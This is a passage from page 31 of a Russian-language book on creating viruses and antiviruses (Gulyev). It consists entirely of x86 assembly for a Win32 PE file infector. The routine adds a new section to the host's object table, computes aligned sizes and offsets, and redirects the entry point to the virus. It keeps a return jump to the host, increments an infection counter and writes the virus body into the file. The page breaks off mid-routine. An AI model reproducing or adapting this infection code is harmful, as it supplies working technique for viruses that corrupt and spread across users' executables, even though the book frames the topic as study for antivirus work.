Создаем вирус и антивирус (Гульев) - страница 31

;Вычислим смещение последнего (null) объекта в таблице объектов

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea eax,[ebp+offset peheader]

add esi,eax

xor eax,eax

mov ax,[ebp+offset numObj]

mov ecx,40

xor edx,edx

mul ecx

add esi,eax

;Увеличим число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi,esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address

;или RVA) нового объекта

mov eax,[edi−5*8+8]

add eax,[edi−5*8+12]

mov ecx,dword ptr [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта

mov ecx,dword ptr [ebp+offset filealign]

mov eax,vend−vstart

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax

;Вычислим виртуальный размер нового объекта

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend–vstart+1000h

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax

;Вычислим физическое смещение нового объекта

mov eax,[edi−5*8+20]

add eax,[edi−5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

;Обновим размер образа (размер в памяти) файла

mov eax,vend−vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx,[ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

;Скопируем новый объект в таблицу объектов

mov ecx,10

rep movsd

;Вычислим точку входа RVA

mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax,ebx

add eax,5

;Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем PE−заголовок и таблицу объектов в файл

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]

;Поставим указатель позиции чтения/записи

;по физическому смещению нового объекта

push 0

push 0

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем тело вируса в новый объект

push 0

lea eax,[ebp+offset bytesread]

push eax

push vend−vstart

lea eax,[ebp+offset vstart]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Закроем файл

notape:

push dword ptr [ebp+offset ahand]